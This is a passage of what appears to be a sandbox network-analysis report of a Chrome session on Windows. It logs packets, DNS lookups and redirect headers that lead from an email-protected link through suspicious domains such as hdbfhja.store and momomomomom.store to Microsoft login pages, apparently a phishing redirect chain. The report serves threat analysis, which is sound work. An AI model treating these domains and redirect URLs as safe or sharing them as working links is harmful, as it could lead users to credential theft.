May 7, 2024 20:29:11.739404917 CEST	443	49736	52.146.76.30	192.168.2.7
May 7, 2024 20:29:11.739506006 CEST	443	49736	52.146.76.30	192.168.2.7
May 7, 2024 20:29:11.739622116 CEST	49736	443	192.168.2.7	52.146.76.30
May 7, 2024 20:29:12.264753103 CEST	49736	443	192.168.2.7	52.146.76.30
May 7, 2024 20:29:12.264786005 CEST	443	49736	52.146.76.30	192.168.2.7
May 7, 2024 20:29:20.784126043 CEST	49761	443	192.168.2.7	5.230.47.86
May 7, 2024 20:29:20.784149885 CEST	443	49761	5.230.47.86	192.168.2.7

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 7, 2024 20:27:57.914663076 CEST	53	61505	1.1.1.1	192.168.2.7
May 7, 2024 20:27:57.972563982 CEST	53	56222	1.1.1.1	192.168.2.7
May 7, 2024 20:27:58.485874891 CEST	53	57669	1.1.1.1	192.168.2.7
May 7, 2024 20:27:59.081240892 CEST	62714	53	192.168.2.7	1.1.1.1
May 7, 2024 20:27:59.081393003 CEST	49303	53	192.168.2.7	1.1.1.1
May 7, 2024 20:27:59.165764093 CEST	53	62714	1.1.1.1	192.168.2.7
May 7, 2024 20:27:59.166043043 CEST	53	49303	1.1.1.1	192.168.2.7
May 7, 2024 20:27:59.532643080 CEST	63376	53	192.168.2.7	1.1.1.1
May 7, 2024 20:27:59.532987118 CEST	65268	53	192.168.2.7	1.1.1.1
May 7, 2024 20:27:59.617959976 CEST	53	63376	1.1.1.1	192.168.2.7
May 7, 2024 20:27:59.617984056 CEST	53	65268	1.1.1.1	192.168.2.7
May 7, 2024 20:28:00.403958082 CEST	57488	53	192.168.2.7	1.1.1.1
May 7, 2024 20:28:00.404109001 CEST	60772	53	192.168.2.7	1.1.1.1
May 7, 2024 20:28:00.496330976 CEST	53	60772	1.1.1.1	192.168.2.7
May 7, 2024 20:28:05.244597912 CEST	55854	53	192.168.2.7	1.1.1.1
May 7, 2024 20:28:05.250828981 CEST	61353	53	192.168.2.7	1.1.1.1
May 7, 2024 20:28:05.339246035 CEST	53	61353	1.1.1.1	192.168.2.7
May 7, 2024 20:28:07.921760082 CEST	52513	53	192.168.2.7	1.1.1.1
May 7, 2024 20:28:11.441194057 CEST	50589	53	192.168.2.7	1.1.1.1
May 7, 2024 20:28:11.444472075 CEST	53221	53	192.168.2.7	1.1.1.1
May 7, 2024 20:28:12.407603979 CEST	56547	53	192.168.2.7	1.1.1.1
May 7, 2024 20:28:12.407711029 CEST	62709	53	192.168.2.7	1.1.1.1
May 7, 2024 20:28:13.197630882 CEST	53	62709	1.1.1.1	192.168.2.7
May 7, 2024 20:28:13.351484060 CEST	53	56547	1.1.1.1	192.168.2.7
May 7, 2024 20:28:16.764558077 CEST	55212	53	192.168.2.7	1.1.1.1
May 7, 2024 20:28:16.767383099 CEST	49236	53	192.168.2.7	1.1.1.1
May 7, 2024 20:28:16.865320921 CEST	53	55212	1.1.1.1	192.168.2.7
May 7, 2024 20:28:16.877733946 CEST	53	49236	1.1.1.1	192.168.2.7
May 7, 2024 20:28:17.835474014 CEST	53	55967	1.1.1.1	192.168.2.7
May 7, 2024 20:28:18.512947083 CEST	56312	53	192.168.2.7	1.1.1.1
May 7, 2024 20:28:18.513597012 CEST	63165	53	192.168.2.7	1.1.1.1
May 7, 2024 20:28:18.597363949 CEST	53	56312	1.1.1.1	192.168.2.7
May 7, 2024 20:28:18.597726107 CEST	53	63165	1.1.1.1	192.168.2.7
May 7, 2024 20:28:20.072455883 CEST	49314	53	192.168.2.7	1.1.1.1
May 7, 2024 20:28:20.072895050 CEST	55866	53	192.168.2.7	1.1.1.1
May 7, 2024 20:28:20.157008886 CEST	53	49314	1.1.1.1	192.168.2.7
May 7, 2024 20:28:20.187298059 CEST	53	55866	1.1.1.1	192.168.2.7
May 7, 2024 20:28:21.144398928 CEST	63100	53	192.168.2.7	1.1.1.1
May 7, 2024 20:28:21.144701958 CEST	53668	53	192.168.2.7	1.1.1.1
May 7, 2024 20:28:21.228760004 CEST	53	63100	1.1.1.1	192.168.2.7
May 7, 2024 20:28:21.229768991 CEST	53	53668	1.1.1.1	192.168.2.7
May 7, 2024 20:28:36.361071110 CEST	60878	53	192.168.2.7	1.1.1.1
May 7, 2024 20:28:36.361234903 CEST	57804	53	192.168.2.7	1.1.1.1
May 7, 2024 20:28:36.452501059 CEST	53	57804	1.1.1.1	192.168.2.7
May 7, 2024 20:28:36.466464043 CEST	53	60878	1.1.1.1	192.168.2.7
May 7, 2024 20:28:39.655647039 CEST	53	53259	1.1.1.1	192.168.2.7
May 7, 2024 20:28:42.372564077 CEST	62946	53	192.168.2.7	1.1.1.1
May 7, 2024 20:28:42.372879028 CEST	50795	53	192.168.2.7	1.1.1.1
May 7, 2024 20:28:42.456948042 CEST	53	62946	1.1.1.1	192.168.2.7
May 7, 2024 20:28:42.457073927 CEST	53	50795	1.1.1.1	192.168.2.7
May 7, 2024 20:28:44.704390049 CEST	55904	53	192.168.2.7	1.1.1.1
May 7, 2024 20:28:44.704751015 CEST	56327	53	192.168.2.7	1.1.1.1
May 7, 2024 20:28:44.789602995 CEST	53	56327	1.1.1.1	192.168.2.7
May 7, 2024 20:28:44.789824009 CEST	53	55904	1.1.1.1	192.168.2.7
May 7, 2024 20:28:45.675395966 CEST	61484	53	192.168.2.7	1.1.1.1
May 7, 2024 20:28:45.675972939 CEST	52503	53	192.168.2.7	1.1.1.1
May 7, 2024 20:28:48.158981085 CEST	53	62934	1.1.1.1	192.168.2.7
May 7, 2024 20:28:48.985616922 CEST	57729	53	192.168.2.7	1.1.1.1
May 7, 2024 20:28:48.985618114 CEST	57366	53	192.168.2.7	1.1.1.1
May 7, 2024 20:28:49.083348036 CEST	53	57729	1.1.1.1	192.168.2.7
May 7, 2024 20:28:49.084229946 CEST	53	57366	1.1.1.1	192.168.2.7
May 7, 2024 20:28:54.907382965 CEST	53	57197	1.1.1.1	192.168.2.7
May 7, 2024 20:29:00.644546986 CEST	138	138	192.168.2.7	192.168.2.255
May 7, 2024 20:29:05.777436972 CEST	53	55107	1.1.1.1	192.168.2.7

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
May 7, 2024 20:28:20.187359095 CEST	192.168.2.7	1.1.1.1	c23b	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
May 7, 2024 20:27:59.081240892 CEST	192.168.2.7	1.1.1.1	0x954e	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
May 7, 2024 20:27:59.081393003 CEST	192.168.2.7	1.1.1.1	0xfced	Standard query (0)	www.google.com	65	IN (0x0001)	false
May 7, 2024 20:27:59.532643080 CEST	192.168.2.7	1.1.1.1	0xaf1f	Standard query (0)	url.us.m.mimecastprotect.com	A (IP address)	IN (0x0001)	false
May 7, 2024 20:27:59.532987118 CEST	192.168.2.7	1.1.1.1	0xc78f	Standard query (0)	url.us.m.mimecastprotect.com	65	IN (0x0001)	false
May 7, 2024 20:28:00.403958082 CEST	192.168.2.7	1.1.1.1	0x9df2	Standard query (0)	url2.mailanyone.net	A (IP address)	IN (0x0001)	false
May 7, 2024 20:28:00.404109001 CEST	192.168.2.7	1.1.1.1	0xbfdb	Standard query (0)	url2.mailanyone.net	65	IN (0x0001)	false
May 7, 2024 20:28:05.244597912 CEST	192.168.2.7	1.1.1.1	0x92e1	Standard query (0)	url2.mailanyone.net	A (IP address)	IN (0x0001)	false
May 7, 2024 20:28:05.250828981 CEST	192.168.2.7	1.1.1.1	0x1fe9	Standard query (0)	url2.mailanyone.net	65	IN (0x0001)	false
May 7, 2024 20:28:07.921760082 CEST	192.168.2.7	1.1.1.1	0xa8b6	Standard query (0)	time.windows.com	A (IP address)	IN (0x0001)	false
May 7, 2024 20:28:11.441194057 CEST	192.168.2.7	1.1.1.1	0x4c13	Standard query (0)	public-usa.mkt.dynamics.com	A (IP address)	IN (0x0001)	false
May 7, 2024 20:28:11.444472075 CEST	192.168.2.7	1.1.1.1	0x5f	Standard query (0)	public-usa.mkt.dynamics.com	65	IN (0x0001)	false
May 7, 2024 20:28:12.407603979 CEST	192.168.2.7	1.1.1.1	0xbebe	Standard query (0)	greefrunners.co.za	A (IP address)	IN (0x0001)	false
May 7, 2024 20:28:12.407711029 CEST	192.168.2.7	1.1.1.1	0xf3b2	Standard query (0)	greefrunners.co.za	65	IN (0x0001)	false
May 7, 2024 20:28:16.764558077 CEST	192.168.2.7	1.1.1.1	0x7b05	Standard query (0)	hdbfhja.store	A (IP address)	IN (0x0001)	false
May 7, 2024 20:28:16.767383099 CEST	192.168.2.7	1.1.1.1	0x9832	Standard query (0)	hdbfhja.store	65	IN (0x0001)	false
May 7, 2024 20:28:18.512947083 CEST	192.168.2.7	1.1.1.1	0x66a8	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
May 7, 2024 20:28:18.513597012 CEST	192.168.2.7	1.1.1.1	0xc982	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
May 7, 2024 20:28:20.072455883 CEST	192.168.2.7	1.1.1.1	0x194e	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
May 7, 2024 20:28:20.072895050 CEST	192.168.2.7	1.1.1.1	0x36be	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
May 7, 2024 20:28:21.144398928 CEST	192.168.2.7	1.1.1.1	0x5ae3	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
May 7, 2024 20:28:21.144701958 CEST	192.168.2.7	1.1.1.1	0xd584	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
May 7, 2024 20:28:36.361071110 CEST	192.168.2.7	1.1.1.1	0xfece	Standard query (0)	momomomomom.store	A (IP address)	IN (0x0001)	false
May 7, 2024 20:28:36.361234903 CEST	192.168.2.7	1.1.1.1	0xaa33	Standard query (0)	momomomomom.store	65	IN (0x0001)	false
May 7, 2024 20:28:42.372564077 CEST	192.168.2.7	1.1.1.1	0xcaa3	Standard query (0)	aadcdn.msftauth.net	A (IP address)	IN (0x0001)	false
May 7, 2024 20:28:42.372879028 CEST	192.168.2.7	1.1.1.1	0xe4e8	Standard query (0)	aadcdn.msftauth.net	65	IN (0x0001)	false
May 7, 2024 20:28:44.704390049 CEST	192.168.2.7	1.1.1.1	0x57f1	Standard query (0)	outlook.office365.com	A (IP address)	IN (0x0001)	false
May 7, 2024 20:28:44.704751015 CEST	192.168.2.7	1.1.1.1	0xec31	Standard query (0)	outlook.office365.com	65	IN (0x0001)	false
May 7, 2024 20:28:45.675395966 CEST	192.168.2.7	1.1.1.1	0xd890	Standard query (0)	r4.res.office365.com	A (IP address)	IN (0x0001)	false
May 7, 2024 20:28:45.675972939 CEST	192.168.2.7	1.1.1.1	0x5f3e	Standard query (0)	r4.res.office365.com	65	IN (0x0001)	false
May 7, 2024 20:28:48.985616922 CEST	192.168.2.7	1.1.1.1	0x6915	Standard query (0)	momomomomom.store	65	IN (0x0001)	false
May 7, 2024 20:28:48.985618114 CEST	192.168.2.7	1.1.1.1	0x1ff4	Standard query (0)	momomomomom.store	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
May 7, 2024 20:27:59.165764093 CEST	1.1.1.1	192.168.2.7	0x954e	No error (0)	www.google.com		142.250.65.196	A (IP address)	IN (0x0001)	false
May 7, 2024 20:27:59.166043043 CEST	1.1.1.1	192.168.2.7	0xfced	No error (0)	www.google.com			65	IN (0x0001)	false
May 7, 2024 20:27:59.617959976 CEST	1.1.1.1	192.168.2.7	0xaf1f	No error (0)	url.us.m.mimecastprotect.com		207.211.31.106	A (IP address)	IN (0x0001)	false
May 7, 2024 20:27:59.617959976 CEST	1.1.1.1	192.168.2.7	0xaf1f	No error (0)	url.us.m.mimecastprotect.com		205.139.111.117	A (IP address)	IN (0x0001)	false
May 7, 2024 20:27:59.617959976 CEST	1.1.1.1	192.168.2.7	0xaf1f	No error (0)	url.us.m.mimecastprotect.com		205.139.111.113	A (IP address)	IN (0x0001)	false
May 7, 2024 20:27:59.617959976 CEST	1.1.1.1	192.168.2.7	0xaf1f	No error (0)	url.us.m.mimecastprotect.com		207.211.31.113	A (IP address)	IN (0x0001)	false
May 7, 2024 20:27:59.617959976 CEST	1.1.1.1	192.168.2.7	0xaf1f	No error (0)	url.us.m.mimecastprotect.com		207.211.31.64	A (IP address)	IN (0x0001)	false
May 7, 2024 20:27:59.617959976 CEST	1.1.1.1	192.168.2.7	0xaf1f	No error (0)	url.us.m.mimecastprotect.com		205.139.111.12	A (IP address)	IN (0x0001)	false
May 7, 2024 20:28:00.494407892 CEST	1.1.1.1	192.168.2.7	0x9df2	No error (0)	url2.mailanyone.net	url2.mailanyone.net.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
May 7, 2024 20:28:00.496330976 CEST	1.1.1.1	192.168.2.7	0xbfdb	No error (0)	url2.mailanyone.net	url2.mailanyone.net.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
May 7, 2024 20:28:05.334237099 CEST	1.1.1.1	192.168.2.7	0x92e1	No error (0)	url2.mailanyone.net	url2.mailanyone.net.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
May 7, 2024 20:28:05.339246035 CEST	1.1.1.1	192.168.2.7	0x1fe9	No error (0)	url2.mailanyone.net	url2.mailanyone.net.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
May 7, 2024 20:28:08.007330894 CEST	1.1.1.1	192.168.2.7	0xa8b6	No error (0)	time.windows.com	twc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
May 7, 2024 20:28:11.549793959 CEST	1.1.1.1	192.168.2.7	0x4c13	No error (0)	public-usa.mkt.dynamics.com	cxppusa1im4t7x7z5iubq.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
May 7, 2024 20:28:11.549793959 CEST	1.1.1.1	192.168.2.7	0x4c13	No error (0)	public-prdia888eus0aks.mkt.dynamics.com	prdia888eus0aks.mkt.dynamics.com		CNAME (Canonical name)	IN (0x0001)	false
May 7, 2024 20:28:11.549793959 CEST	1.1.1.1	192.168.2.7	0x4c13	No error (0)	prdia888eus0aks.mkt.dynamics.com		52.146.76.30	A (IP address)	IN (0x0001)	false
May 7, 2024 20:28:11.550961971 CEST	1.1.1.1	192.168.2.7	0x5f	No error (0)	public-usa.mkt.dynamics.com	cxppusa1im4t7x7z5iubq.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
May 7, 2024 20:28:11.550961971 CEST	1.1.1.1	192.168.2.7	0x5f	No error (0)	public-prdia888eus0aks.mkt.dynamics.com	prdia888eus0aks.mkt.dynamics.com		CNAME (Canonical name)	IN (0x0001)	false
May 7, 2024 20:28:11.758006096 CEST	1.1.1.1	192.168.2.7	0xbdb9	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
May 7, 2024 20:28:11.758006096 CEST	1.1.1.1	192.168.2.7	0xbdb9	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
May 7, 2024 20:28:11.862637997 CEST	1.1.1.1	192.168.2.7	0x69cf	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
May 7, 2024 20:28:11.862637997 CEST	1.1.1.1	192.168.2.7	0x69cf	No error (0)	fp2e7a.wpc.phicdn.net		192.229.211.108	A (IP address)	IN (0x0001)	false
May 7, 2024 20:28:13.351484060 CEST	1.1.1.1	192.168.2.7	0xbebe	No error (0)	greefrunners.co.za		102.130.123.81	A (IP address)	IN (0x0001)	false
May 7, 2024 20:28:16.865320921 CEST	1.1.1.1	192.168.2.7	0x7b05	No error (0)	hdbfhja.store		5.230.47.86	A (IP address)	IN (0x0001)	false
May 7, 2024 20:28:18.597363949 CEST	1.1.1.1	192.168.2.7	0x66a8	No error (0)	challenges.cloudflare.com		104.17.2.184	A (IP address)	IN (0x0001)	false
May 7, 2024 20:28:18.597363949 CEST	1.1.1.1	192.168.2.7	0x66a8	No error (0)	challenges.cloudflare.com		104.17.3.184	A (IP address)	IN (0x0001)	false
May 7, 2024 20:28:18.597726107 CEST	1.1.1.1	192.168.2.7	0xc982	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
May 7, 2024 20:28:20.157008886 CEST	1.1.1.1	192.168.2.7	0x194e	No error (0)	challenges.cloudflare.com		104.17.3.184	A (IP address)	IN (0x0001)	false
May 7, 2024 20:28:20.157008886 CEST	1.1.1.1	192.168.2.7	0x194e	No error (0)	challenges.cloudflare.com		104.17.2.184	A (IP address)	IN (0x0001)	false
May 7, 2024 20:28:20.187298059 CEST	1.1.1.1	192.168.2.7	0x36be	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
May 7, 2024 20:28:21.228760004 CEST	1.1.1.1	192.168.2.7	0x5ae3	No error (0)	challenges.cloudflare.com		104.17.3.184	A (IP address)	IN (0x0001)	false
May 7, 2024 20:28:21.228760004 CEST	1.1.1.1	192.168.2.7	0x5ae3	No error (0)	challenges.cloudflare.com		104.17.2.184	A (IP address)	IN (0x0001)	false
May 7, 2024 20:28:21.229768991 CEST	1.1.1.1	192.168.2.7	0xd584	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
May 7, 2024 20:28:25.402581930 CEST	1.1.1.1	192.168.2.7	0x9102	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
May 7, 2024 20:28:25.402581930 CEST	1.1.1.1	192.168.2.7	0x9102	No error (0)	fp2e7a.wpc.phicdn.net		192.229.211.108	A (IP address)	IN (0x0001)	false
May 7, 2024 20:28:36.466464043 CEST	1.1.1.1	192.168.2.7	0xfece	No error (0)	momomomomom.store		5.230.47.86	A (IP address)	IN (0x0001)	false
May 7, 2024 20:28:42.440823078 CEST	1.1.1.1	192.168.2.7	0xc62c	No error (0)	shed.dual-low.part-0008.t-0009.t-msedge.net	part-0008.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
May 7, 2024 20:28:42.440823078 CEST	1.1.1.1	192.168.2.7	0xc62c	No error (0)	part-0008.t-0009.t-msedge.net		13.107.213.36	A (IP address)	IN (0x0001)	false
May 7, 2024 20:28:42.440823078 CEST	1.1.1.1	192.168.2.7	0xc62c	No error (0)	part-0008.t-0009.t-msedge.net		13.107.246.36	A (IP address)	IN (0x0001)	false
May 7, 2024 20:28:42.456948042 CEST	1.1.1.1	192.168.2.7	0xcaa3	No error (0)	aadcdn.msftauth.net	cs1100.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
May 7, 2024 20:28:42.456948042 CEST	1.1.1.1	192.168.2.7	0xcaa3	No error (0)	cs1100.wpc.omegacdn.net		152.199.4.44	A (IP address)	IN (0x0001)	false
May 7, 2024 20:28:42.457073927 CEST	1.1.1.1	192.168.2.7	0xe4e8	No error (0)	aadcdn.msftauth.net	cs1100.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
May 7, 2024 20:28:44.789602995 CEST	1.1.1.1	192.168.2.7	0xec31	No error (0)	outlook.office365.com	ooc-g2.tm-4.office.com		CNAME (Canonical name)	IN (0x0001)	false
May 7, 2024 20:28:44.789824009 CEST	1.1.1.1	192.168.2.7	0x57f1	No error (0)	outlook.office365.com	ooc-g2.tm-4.office.com		CNAME (Canonical name)	IN (0x0001)	false
May 7, 2024 20:28:44.789824009 CEST	1.1.1.1	192.168.2.7	0x57f1	No error (0)	ooc-g2.tm-4.office.com	outlook.ms-acdc.office.com		CNAME (Canonical name)	IN (0x0001)	false
May 7, 2024 20:28:44.789824009 CEST	1.1.1.1	192.168.2.7	0x57f1	No error (0)	outlook.ms-acdc.office.com	MNZ-efz.ms-acdc.office.com		CNAME (Canonical name)	IN (0x0001)	false
May 7, 2024 20:28:44.789824009 CEST	1.1.1.1	192.168.2.7	0x57f1	No error (0)	MNZ-efz.ms-acdc.office.com		52.96.109.242	A (IP address)	IN (0x0001)	false
May 7, 2024 20:28:44.789824009 CEST	1.1.1.1	192.168.2.7	0x57f1	No error (0)	MNZ-efz.ms-acdc.office.com		40.97.4.1	A (IP address)	IN (0x0001)	false
May 7, 2024 20:28:44.789824009 CEST	1.1.1.1	192.168.2.7	0x57f1	No error (0)	MNZ-efz.ms-acdc.office.com		52.96.109.194	A (IP address)	IN (0x0001)	false
May 7, 2024 20:28:44.789824009 CEST	1.1.1.1	192.168.2.7	0x57f1	No error (0)	MNZ-efz.ms-acdc.office.com		52.96.87.226	A (IP address)	IN (0x0001)	false
May 7, 2024 20:28:45.760335922 CEST	1.1.1.1	192.168.2.7	0xd890	No error (0)	r4.res.office365.com	r4.res.office365.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
May 7, 2024 20:28:45.769201040 CEST	1.1.1.1	192.168.2.7	0x5f3e	No error (0)	r4.res.office365.com	r4.res.office365.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
May 7, 2024 20:28:49.084229946 CEST	1.1.1.1	192.168.2.7	0x1ff4	No error (0)	momomomomom.store		5.230.47.86	A (IP address)	IN (0x0001)	false
May 7, 2024 20:28:57.835272074 CEST	1.1.1.1	192.168.2.7	0x8fb	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
May 7, 2024 20:28:57.835272074 CEST	1.1.1.1	192.168.2.7	0x8fb	No error (0)	fp2e7a.wpc.phicdn.net		192.229.211.108	A (IP address)	IN (0x0001)	false
May 7, 2024 20:29:24.072439909 CEST	1.1.1.1	192.168.2.7	0xf65f	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
May 7, 2024 20:29:24.072439909 CEST	1.1.1.1	192.168.2.7	0xf65f	No error (0)	fp2e7a.wpc.phicdn.net		192.229.211.108	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

url.us.m.mimecastprotect.com

fs.microsoft.com

https:

public-usa.mkt.dynamics.com

greefrunners.co.za

hdbfhja.store

challenges.cloudflare.com

momomomomom.store

outlook.office365.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49707	207.211.31.106	443	7112	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 18:27:59 UTC	721	OUT	GET /s/rdl8Cn5lg3fXAy8f9CFLb?domain=url2.mailanyone.net HTTP/1.1 Host: url.us.m.mimecastprotect.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-07 18:28:00 UTC	2819	IN	HTTP/1.1 307 Temporary Redirect Date: Tue, 07 May 2024 18:28:00 GMT Content-Length: 0 Connection: close Location: https://url.us.m.mimecastprotect.com/r/fcFRggr_7D48VHm_j6RctLxcw8sPa_TElsPFMjzQm_LCshc9gVJTbgRfVTGuno526DZ05VCsTFwbG4Ajv-sHoGtFagMQ0NHiZWe8J3PikeRm_6zX7liVrGai0VkGk-I2AwLpzD2-3er8vgiklGXM7z5q58pqzvmyHKBQBYn-g0zVdAHC3RRWZ9OaAPpEffxsohlLkdMmotklWxcZtEGZ_hYFOfqSp50FslOwPvoAd6YS5WVToHLoo-Fmi2IFtmcyZ6TZFtN18-8SBdCJgChAROnmxcEqQ3Riv-4UvDfDFfiZsUVJtcVle3a_ezS1BtmNnKZoNC4gle_81P0bmBB4LTmi6peOPq-uSjOliD6M6U9nhpeOQcVAGy_UT9jXkMa8rfoR-xH9w9Gw1WmN6ZszerOhll6pL5QLwP7s2bcHG9U0hqwdLbPRL7v1IIt5ZjNjzy6S2So7v0j7yCkwFh2GAeXktumgaXTjtqnp7ksdBnbUO48ZFwBm64Z05wMvVe-PyZml78SYOLoyP3D-MD4FP_MY6qaQib_sQMflCGO8BeFnUFM4fq1D_TWWiMTiedDv0mYvEABkmKU5kOBxufIgqqqeqDdshkCX8mlcgnnu-Ikd6YJ5PJ5kToV9_4FVkThroztcy6r8q8jU-4apmPhzInEqGvSYhRxvUW9S-6xy-G-NuBbX-bS1jigT0zjutyM3KeP18btWHbj_mElLuuqK8T8B7Ll4UgPakHQ88vk9la9ygWLH4uziPi7xwLQGpzf-vUc0KNwemviUwlT07AsJeZ1kGWBfLuFJCrm-5TLybHiQFyMiyVzayOwxcdZNbsiiWqCV3j8BJlMmvbqqFdKsVXN0c21p2NwnYl_BahhkMhZh8HTJ5eCzt8jb_NVBhXRKaHn5nS_8PXIAovVpcJtbpspKS1O8YkaD9Qf6D0LokgAphe4i0T8EyT6dhdv4rfXKlZUAN4g-wHM8ljg [TRUNCATED] Cache-control: no-store Pragma: no-cache X-Robots-Tag: noindex, nofollow

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49708	207.211.31.106	443	7112	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 18:28:00 UTC	3255	OUT	GET /r/fcFRggr_7D48VHm_j6RctLxcw8sPa_TElsPFMjzQm_LCshc9gVJTbgRfVTGuno526DZ05VCsTFwbG4Ajv-sHoGtFagMQ0NHiZWe8J3PikeRm_6zX7liVrGai0VkGk-I2AwLpzD2-3er8vgiklGXM7z5q58pqzvmyHKBQBYn-g0zVdAHC3RRWZ9OaAPpEffxsohlLkdMmotklWxcZtEGZ_hYFOfqSp50FslOwPvoAd6YS5WVToHLoo-Fmi2IFtmcyZ6TZFtN18-8SBdCJgChAROnmxcEqQ3Riv-4UvDfDFfiZsUVJtcVle3a_ezS1BtmNnKZoNC4gle_81P0bmBB4LTmi6peOPq-uSjOliD6M6U9nhpeOQcVAGy_UT9jXkMa8rfoR-xH9w9Gw1WmN6ZszerOhll6pL5QLwP7s2bcHG9U0hqwdLbPRL7v1IIt5ZjNjzy6S2So7v0j7yCkwFh2GAeXktumgaXTjtqnp7ksdBnbUO48ZFwBm64Z05wMvVe-PyZml78SYOLoyP3D-MD4FP_MY6qaQib_sQMflCGO8BeFnUFM4fq1D_TWWiMTiedDv0mYvEABkmKU5kOBxufIgqqqeqDdshkCX8mlcgnnu-Ikd6YJ5PJ5kToV9_4FVkThroztcy6r8q8jU-4apmPhzInEqGvSYhRxvUW9S-6xy-G-NuBbX-bS1jigT0zjutyM3KeP18btWHbj_mElLuuqK8T8B7Ll4UgPakHQ88vk9la9ygWLH4uziPi7xwLQGpzf-vUc0KNwemviUwlT07AsJeZ1kGWBfLuFJCrm-5TLybHiQFyMiyVzayOwxcdZNbsiiWqCV3j8BJlMmvbqqFdKsVXN0c21p2NwnYl_BahhkMhZh8HTJ5eCzt8jb_NVBhXRKaHn5nS_8PXIAovVpcJtbpspKS1O8YkaD9Qf6D0LokgAphe4i0T8EyT6dhdv4rfXKlZUAN4g-wHM8ljgVkCk3uh5Lq_gVFqQ68AHM_8xrXxbhal7MUFNblcroQ [TRUNCATED] Host: url.us.m.mimecastprotect.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-07 18:28:00 UTC	920	IN	HTTP/1.1 307 Temporary Redirect Date: Tue, 07 May 2024 18:28:00 GMT Content-Length: 0 Connection: close Location: 